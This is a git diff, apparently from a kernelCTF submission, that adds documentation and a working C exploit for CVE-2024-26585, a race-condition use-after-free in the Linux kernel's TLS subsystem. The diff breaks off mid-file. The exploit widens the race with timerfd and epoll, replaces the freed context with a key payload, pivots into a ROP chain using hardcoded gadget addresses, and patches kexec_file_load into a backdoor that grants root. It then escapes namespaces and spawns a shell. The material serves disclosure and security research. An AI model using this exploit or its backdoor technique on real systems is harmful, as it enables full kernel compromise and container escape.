diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/exploit.md new file mode 100644 index 000000000..d7df97dee --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/exploit.md @@ -0,0 +1,228 @@ +## Setup + +To trigger the TLS encryption we must first configure the socket. +This is done using the setsockopt() with SOL_TLS option: + +``` + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + +``` + +This syscall triggers allocation of TLS context objects which will be important later on during the exploitation phase. + +In KernelCTF config PCRYPT (parallel crypto engine) is disabled, so our only option to trigger async crypto is CRYPTD (software async crypto daemon). + +Each crypto operation needed for TLS is usually implemented by multiple drivers. +For example, AES encryption in CBC mode is available through aesni_intel, aes_generic or cryptd (which is a daemon that runs these basic synchronous crypto operations in parallel using an internal queue). + +Available drivers can be examined by looking at /proc/crypto, however those are only the drivers of the currently loaded modules. Crypto API supports loading additional modules on demand. + +As seen in the code snippet above we don't have direct control over which crypto drivers are going to be used in our TLS encryption. +Drivers are selected automatically by Crypto API based on the priority field which is calculated internally to try to choose the "best" driver. + +By default, cryptd is not selected and is not even loaded, which gives us no chance to exploit vulnerabilities in async operations. + +However, we can cause cryptd to be loaded and influence the selection of drivers for TLS operations by using the Crypto User API. This API is used to perform low-level cryptographic operations and allows the user to select an arbitrary driver. + +The interesting thing is that requesting a given driver permanently changes the system-wide list of available drivers and their priorities, affecting future TLS operations. + +Following code causes AES CCM encryption selected for TLS to be handled by cryptd: + +``` + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); +``` + + +## Triggering use-after-free through race condition + +``` + if (!pending && ctx->async_notify) + complete(&ctx->async_wait.completion); +[1] spin_unlock_bh(&ctx->encrypt_compl_lock); + + if (!ready) + return; + + /* Schedule the transmission */ + if (!test_and_set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask)) +[2] schedule_delayed_work(&ctx->tx_work.work, 1); +``` + +To exploit the race condition we have to hit window between lines [1] and [2] and perform following actions: +1. Close the socket to free tls context (struct tls_sw_context_tx) +2. Allocate our own object in place of the tls context (which is allocated from general kmalloc-192 cache). + +To hit this small window and extend it enough to fit our allocations we turn to a well-known timerfd technique invented by Jann Horn. +The basic idea is to set hrtimer based timerfd to trigger a timer interrupt during our race window and attach a lot (as much as RLIMIT_NOFILE allows) +of epoll watches to this timerfd to make the time needed to handle the interrupt longer. +For more details see the original [blog post](https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html). + + +Exploitation is done in 2 threads - main process runs on CPU 0, and a new thread (child_send()) is cloned for each attempt and bound to CPU 1 + +| CPU 0 | CPU 1 | +| -------- | -------- | +| allocate tls context | - | +| - | exploit calls send() triggering async crypto ops | +| - | tls_sw_sendmsg() waits on completion | +| - | cryptd calls tls_encrypt_done() | +| - | tls_encryption_done() finishes complete() call | +| - | timer interrupts tls_encrypt_done() | +| send() returns to userspace unlocking the socket | timerfd code goes through all epoll notifications | +| exploit calls close() to free tls context | ... | +| exploit allocates key payload in place of tls context | ... | +| - | interrupt finishes and returns control to tls_encrypt_done() | +| - | schedule_delayed_work() is called on attacker-controlled data from ctx | + + +## Getting RIP control + +Getting RIP control is trivial when we control the argument to schedule_delayed_work() (struct delayed_work is at offset 0x30 of our victim object tls_sw_context_tx). + +``` +struct tls_sw_context_tx { + struct crypto_aead * aead_send; /* 0 0x8 */ + struct crypto_wait async_wait; /* 0x8 0x28 */ + struct tx_work tx_work; /* 0x30 0x60 */ + ... +} + +struct delayed_work { + struct work_struct work; /* 0 0x20 */ + struct timer_list timer; /* 0x20 0x28 */ + struct workqueue_struct * wq; /* 0x48 0x8 */ + int cpu; /* 0x50 0x4 */ +}; + +struct work_struct { + atomic_long_t data; /* 0 0x8 */ + struct list_head entry; /* 0x8 0x10 */ + work_func_t func; /* 0x18 0x8 */ +}; + +struct timer_list { + struct hlist_node entry; /* 0 0x10 */ + long unsigned int expires; /* 0x10 0x8 */ + void (*function)(struct timer_list *); /* 0x18 0x8 */ + u32 flags; /* 0x20 0x4 */ +}; + + + +``` + +Setting timer.function to our desired RIP is all that is needed. + +The important thing to note is that our code will be executed from the timer interrupt context. + +## Pivot to ROP + +When timer function is called we get control of following registers: +- RDI - pointer to struct timer_list (offset 0x20 from struct delayed_work and 0x50 from struct tls_sw_context_tx) +- R12 - copy of RDI + +We control entire tls_sw_context_tx object except for first 0x18 bytes (because of the key payload header), but many offsets are unusable for purpose of storing ROP chain because corresponding struct fields have to be set to particular values for the timer to be scheduled or are modified by timer subsystem before timer function are triggered. + +Five gadgets are used to pass control to ROP: + +#### Gadget 1 + +``` +lea rbp, [rdi - 0x80] +push rbx +mov rbx, rdi +mov rax, qword ptr [rdi + 0x68] +mov rdi, rbp +call __x86_indirect_thunk_rax +``` + +This substracts 0x80 from the location of our timer_list and assigns it to RDI and RBP registers. +This means our payload pointer is moved backwards, allowing us to use data preceding timer_list. +Without this, we would be limited to offset >= 0x50 of the total 0xc0 (kmalloc-192). + +We actually moved too far back, but this will be fixed by next gadgets + +#### Gadget 2 + +``` +mov rax, qword ptr [r12 + 0x50] +mov rsi, rbp +mov rdi, r12 +call __x86_indirect_thunk_rax +``` + +This copies moved backwards (offset -0x80) pointer to RSI and the original (offset 0) pointer to RDI. + +#### Gadget 3 + +``` +push rsi +jmp qword ptr [rbp + 0x48] +``` + +This pushes the moved backwards pointer to the stack. + +#### Gadget 4 + +``` +pop rsp +jmp qword [rsi + 0x66] +``` + +This copies the moved backwards pointer to the RSP register, but this pointer is too far backwards, so we need one more gadget. + +#### Gadget 5 + +``` +add rsp, 0x38 +pop rbx +pop rbp +pop r12 +jmp __x86_return_thunk +``` + +This add 0x50 to RSP (pointing it at the start of our ROP chain) and executes a retpoline to start ROP execution. + + +## Second pivot + +At this point we have full ROP, but there our space is severely limited. +To have enough space to execute all privilege escalation code we have to pivot again. +This is quite simple - we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use a `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +As mentioned before, our ROP is executed from the interrupt context, so we can't do a traditional commit_creds() to modify the current process's privileges because the current process context is unknown. + +We could try locating our exploit process and changing its privileges, but we decided to go with a different approach - we patch the kernel creating a backdoor that will grant root privileges to any process that executes a given syscall. + +We chose a rarely used kexec_file_load() syscall and overwrote its code with our get_root function that does all traditional privileges escalation/namespace escape stuff: commit_creds(init_cred), switch_task_namespaces(pid, init_nsproxy) etc. + +This function also returns a special value (0x777) that our user space code can use to detect if the system was already compromised. + +Patching the kernel function is done rop_patch_kernel_code() - it calls set_memory_rw() on destination memory and uses copy_user_generic() to write new code there. + +It would take a lot of effort to be able to properly return from the interrupt after all the pivots, so we just jump to an infinite loop gadget after patching is complete. This will make CPU 1 unusable, but we still have CPU 0 and from there can call kexec_file_load() to get root privileges. diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/novel-techniques.md new file mode 100644 index 000000000..db280b4c0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/novel-techniques.md @@ -0,0 +1,6 @@ +### Privilege escalation by patching kernel code to introduce a backdoor + +In cases where code execution is established, but there is no process context to escalate privileges (like interrupt handlers) the simple way is to overwrite kernel code installing a backdoor in one of the syscalls and that backdoor can be later called from any process to gain root privileges. +This is also useful when recovery is impossible and the kernel will hang/oops after installing the backdoor, rendering the process attempting exploitation useless. With this technique root shell can be executed from a completely separate process. + +For more details see [exploit docs](exploit.md#privilege-escalation) diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..db437f1e8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/docs/vulnerability.md @@ -0,0 +1,56 @@ +## Requirements to trigger the vulnerability + +- Kernel configuration: CONFIG_TLS and one of [CONFIG_CRYPTO_PCRYPT, CONFIG_CRYPTO_CRYPTD] +- User namespaces required: no + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a42055e8d2c30d4decfc13ce943d09c7b9dad221 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e01e3934a1b2d122919f73bc6ddbe1cdafc4bbdb + +## Affected kernel versions + +Introduced in 4.20. Fixed in 6.1.83, 5.15.164 and other stable trees. + +## Affected component, subsystem + +net/tls + +## Description + +TLS encryption works by calling sendmsg() with plaintext as a message on a TLS configured socket. +AEAD encryption work is submitted to the crypto subsystem in tls_do_encryption(), setting tls_encrypt_done() as a callback and calling crypto_aead_encrypt(). + +If encryption is done asynchronously, crypto_aead_encrypt() returns immediately with EINPROGRESS value instead of waiting. +Execution then returns to tls_sw_sendmsg() which waits for the async crypto operations to be done using a completion mechanism. + +When encryption is finished, the crypto subsystem calls tls_encrypt_done() callback function, which calls complete() allowing tls_sw_sendmsg() to exit. When sendmsg() returns, the socket is no longer locked and it is now possible to close it, which causes all associated objects to be freed. + +Relevant tls_encrypt_done() code: + +``` +... + + spin_lock_bh(&ctx->encrypt_compl_lock); + pending = atomic_dec_return(&ctx->encrypt_pending); + + if (!pending && ctx->async_notify) +[1] complete(&ctx->async_wait.completion); + spin_unlock_bh(&ctx->encrypt_compl_lock); + + if (!ready) + return; + + /* Schedule the transmission */ + if (!test_and_set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask)) +[2] schedule_delayed_work(&ctx->tx_work.work, 1); +} + +``` + +The bug is a race condition - calling complete at [1] allows the socket to be closed, which causes the ctx object to be freed, but ctx is later used as an argument to schedule_delayed_work(). + +If attacker manages to close the socket and reallocate freed ctx with controlled data between points [1] and [2], he can easily get code execution - schedule_delayed_work() is scheduling a function specified in ctx->tx_work to be run after a delay. diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/Makefile b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/Makefile new file mode 100644 index 000000000..5fe6d63b7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_17412.156.69.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit new file mode 100755 index 000000000..20ef46463 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit.c b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit.c new file mode 100644 index 000000000..c4b6f6e44 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/exploit.c @@ -0,0 +1,680 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_17412.156.69.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void set_cpu_all() +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + for (int i = 0; i < 4; i++) + { + CPU_SET(i, &cpus); + } + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x8000 +#define XATTR_HEAD_SIZE 0x20 +#define KEY_HEAD_SIZE 0x18 + +static int g_pwned; +static char *g_rop2; + +#define ROP3_CONST_AREA 0x10 +#define ROP3_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) +#define _STR(x) #x +#define STR(x) _STR(x) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + +void __attribute__((naked)) after_pwn() +{ + g_pwned = 1; + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP3_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP3_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfff); + *rop++ = kaddr(POP_RSI); + *rop++ = 1; + *rop++ = kaddr(SET_MEMORY_RW); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + + *rop_p = rop; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r12\n" + "lea -(" STR(KOFFSET(SYS_KEXEC_FILE_LOAD) + 9) ")(%rip), %r12\n" + "push %r13" + ); + +// commit_creds(init_cred) + asm volatile( + "lea (%%r12,%0), %%rdi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + : "r12", "rdi" + ); + +// find_task_by_vpid(1) + asm volatile( + "lea (%%r12,%0), %%r13\n" + "mov $1, %%rdi\n" + "call *%%r13\n" + "mov %%rax, %%rdi\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + : "r12", "rdi" + ); + +// switch_task_namespaces(pid, init_nsproxy) + asm volatile( + "lea (%%r12,%0), %%rsi\n" + "lea (%%r12,%1), %%r13\n" + "call *%%r13\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + : "r10", "rdi" + ); + +// return 0x777 + asm volatile( + "lea (%%r12,%0), %%rcx\n" + "pop %%r12\n" + "pop %%r13\n" + "mov $0x777, %%rax\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + : "r10" + ); + +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + rop_patch_kernel_code(&rop2, kaddr(SYS_KEXEC_FILE_LOAD), (uint64_t) get_root, 0x200); + + *rop2++ = kaddr(INFLOOP); + + return (char *) rop2 - (char *) rop2_start; +} + +void prepare_fake_ctx(char *buf) +{ +// struct tls_sw_context_tx + char *ctx = buf - 0x18; +// struct timer_list + char *rdi = ctx + 0x50; + + +// blacklist: 0-0x34 +// -0x20 | 1 bit issue + *(uint64_t *) (rdi - 0x20) = 0xfffffffffffffffe; // needed for rdx in POP_RSI_RDX_RCX gadget +/* + 0xffffffff81efbb99: add rsp, 0x38 + 0xffffffff81efbb9d: pop rbx + 0xffffffff81efbb9e: pop rbp + 0xffffffff81efbb9f: pop r12 + 0xffffffff81efbba1: jmp __x86_return_thunk +*/ + *(uint64_t *) (rdi - 0x1a) = kaddr(0xffffffff81efbb99); + +// 0xffffffff81cc65ef: pop rsp ; jmp qword [rsi+0x66] + *(uint64_t *) (rdi - 0x38) = kaddr(0xffffffff81cc65ef); + +/* + 0xffffffff81f6d246: lea rbp, [rdi - 0x80] + 0xffffffff81f6d24a: push rbx + 0xffffffff81f6d24b: mov rbx, rdi + 0xffffffff81f6d24e: mov rax, qword ptr [rdi + 0x68] + 0xffffffff81f6d252: mov rdi, rbp + 0xffffffff81f6d255: call __x86_indirect_thunk_rax +*/ +// timer->function - start of the chain + *(uint64_t *) (rdi + 0x18) = kaddr(0xffffffff81f6d246); + + +// 0xffffffff81c65eb1: push rsi ; jmp QWORD PTR [rbp+0x48] + *(uint64_t *) (rdi + 0x50) = kaddr(0xffffffff81ba0c78); + +/* + 0xffffffff8190361b: mov rax, qword ptr [r12 + 0x50] + 0xffffffff81903620: mov rsi, rbp + 0xffffffff81903623: mov rdi, r12 + 0xffffffff81903626: call __x86_indirect_thunk_rax +*/ + *(uint64_t *) (rdi + 0x68) = kaddr(0xffffffff8190361b); + + uint64_t *rop = (uint64_t *) (rdi - 0x30); + + *rop++ = kaddr(POP_RSI_RDX_RCX); // rdi - 0x30 + *rop++ = (uint64_t) g_rop2; + + rop += 2; // skip over -0x1a offset + + *rop++ = kaddr(POP_RDI_PLUS_8); // rdi - 0x10 + *rop++ = kaddr(RW_BUFFER); // rdi - 0x8 + +// skip over offsets 0-0x30 + rop += 8; + + *rop++ = kaddr(COPY_USER_GENERIC_STRING); // 0x40 + *rop++ = kaddr(POP_RCX); // 0x48 + +// SKip over 0x50 + rop += 1; + + *rop++ = kaddr(POP_RSP); // 0x58 + *rop++ = kaddr(RW_BUFFER); // 0x60 +} + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + perror("fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + +key_serial_t alloc_key(int id, size_t len, char *buf) +{ + key_serial_t serial; + char desc[256]; + len -= KEY_HEAD_SIZE; + + snprintf(desc, sizeof(desc), "k%d", id); + + serial = syscall(SYS_add_key, "user", desc, buf, len, KEY_SPEC_PROCESS_KEYRING); + + if (serial < 0) + err(1, "key add"); + + return serial; +} + +int server() +{ + int listen_sock = socket(AF_INET, SOCK_STREAM, 0); + if (listen_sock < 0) + err(1, "socket"); + + struct sockaddr_in addr, client_addr; + socklen_t client_addr_sz; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (bind(listen_sock, &addr, sizeof(addr)) < 0) + err(1, "bind"); + + listen(listen_sock, 4096); + + return listen_sock; +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + +int epoll_fds[EPOLL_CNT]; +int tfd_dups[DUP_CNT]; + +void create_watches(int fd) +{ + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +char *g_stack1; + +struct child_arg { + int tfd; + int sock; + int delay; + int try; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + + set_cpu(1); + + ts_add(&its.it_value, carg->delay); + + timerfd_settime(carg->tfd, 0, &its, NULL); + set_cpu_all(); + + int ret = send(carg->sock, g_mmapped_buf, 4, MSG_DONTWAIT); + + if (ret < 0) + perror("send"); +} + +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ + +void one_attempt(int tfd, int xattr_fd, unsigned int force_delay) +{ + static unsigned int try = 0; + + alloc_xattr_fd(xattr_fd, 0, 192, g_mmapped_buf); + + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if (sock < 0) + err(1, "socket"); + + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (connect(sock, &addr, sizeof(addr)) < 0) + err(1, "connect"); + + + if (setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) + err(1, "setsockopt"); + + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + set_cpu(0); + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + + struct itimerspec its = { 0 }; + + int delay = force_delay; + + if (!delay) + delay = 25 + (rand() % 6); + + struct child_arg carg = { + .tfd = tfd, + .sock = sock, + .try = try++, + .delay = delay + }; + + printf("Attempt: %d delay: %d pid: %d\n", carg.try, delay, getpid()); + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_VM | CLONE_FS | CLONE_FILES | SIGCHLD, (void *) &carg); + + usleep(50000); + close(sock); + + usleep(1000); + free_xattr_fd(xattr_fd, 0); + + alloc_key(0, 192, g_mmapped_buf); + + usleep(120000); + + while (1) + { + int status; + int ret = waitpid(pid, &status, WNOHANG); + + if (syscall(__NR_kexec_file_load) == 0x777) { + printf("Privilege escalation successful!\n"); + after_pwn(); + } + + if (ret < 0) + err(1, "waitpid"); + else if (ret) + break; + } +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + unsigned int force_delay = 0; + + if (argc > 1 && (argv[1][0] == 'f' || argv[1][0] == '0')) { + g_kernel_text = strtoull(argv[1], NULL, 16); + } else { + printf("Using default kernel base, your chance is 1/512, good luck!\nTry providing leaked kernel base as argv[1]\n"); + + g_kernel_text = 0xffffffff81000000uL; + } + + if (argc > 2) { + int num; + if ((num = atoi(argv[2])) > 0) { + printf("delay: %d\n", num); + force_delay = num; + } + } + + printf("Kernel base: 0x%lx\n", g_kernel_text); + system("cat /proc/cpuinfo"); + + setbuf(stdout, NULL); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + set_cpu(0); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + + g_stack1 = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + + } + +#define ROP3_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP3_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + size_t rop2_len = prepare_rop2((uint64_t *) g_rop2); + if (rop2_len > ROP3_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", rop2_len, ROP3_CONST_OFFSET); + + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + create_watches(tfd); + + prepare_fake_ctx(g_mmapped_buf); + + int listen_sock = server(); + + printf("parent pid: %d\n", getpid()); + for (unsigned long i = 0; i < 8000; i++) + { +// Instead of accepting all waiting connection just drop them by recreating the socket + if (i > 4094) { + close(listen_sock); + listen_sock = server(); + } + + one_attempt(tfd, xattr_fd, force_delay); + } + + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/kernelver_17412.156.69.h b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/kernelver_17412.156.69.h new file mode 100644 index 000000000..21f6f21c5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/cos-105-17412.156.69/kernelver_17412.156.69.h @@ -0,0 +1,27 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff817e9fa0 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0x +#define FIND_TASK_BY_VPID 0xffffffff81107840 +#define POP_RCX 0xffffffff81028f1c +#define POP_RSI_RDX_RCX 0xffffffff81028f1a +#define SWITCH_TASK_NAMESPACES 0xffffffff8110eff0 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff81245b21 +#define POP_RSI_RDI 0xffffffff81981aa1 +#define POP_RDX_RDI 0xffffffff817d55cb +#define AUDIT_SYSCALL_EXIT 0xffffffff811b6210 +#define RETURN_VIA_SYSRET 0xffffffff8220018e +#define MEMCPY 0xffffffff82006060 +#define COMMIT_CREDS 0xffffffff811109e0 +#define POP_RSI 0xffffffff81fd7477 +#define POP_RSP 0xffffffff815de541 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff81028f11 +#define POP_RDI 0xffffffff810d238c +#define POP_RDX 0xffffffff810655bd +#define RW_BUFFER 0xffffffff83500000 +#define INIT_CRED 0xffffffff83462180 +#define INIT_NSPROXY 0xffffffff83461f40 +#define SET_MEMORY_RW 0xffffffff8107f880 +#define SYS_KEXEC_FILE_LOAD 0xffffffff81193260 +#define RETURN_THUNK 0xffffffff82404200 +#define POP_RDI_RSI_RDX_RCX 0xffffffff81028f19 +#define INFLOOP 0xffffffff810eee4b +#define POP_RDI_PLUS_8 0xffffffff8187d052 diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/Makefile b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/Makefile new file mode 100644 index 000000000..092174ccf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_6.1.58.h kaslr.c + gcc -o $@ exploit.c kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit b/pocs/linux/kernelctf/CVE-2024-26585_lts_cos/exploit/lts-6.1.58/exploit new file mode 100755 index 000000000..be7a5b8ab Binary files /dev/null and 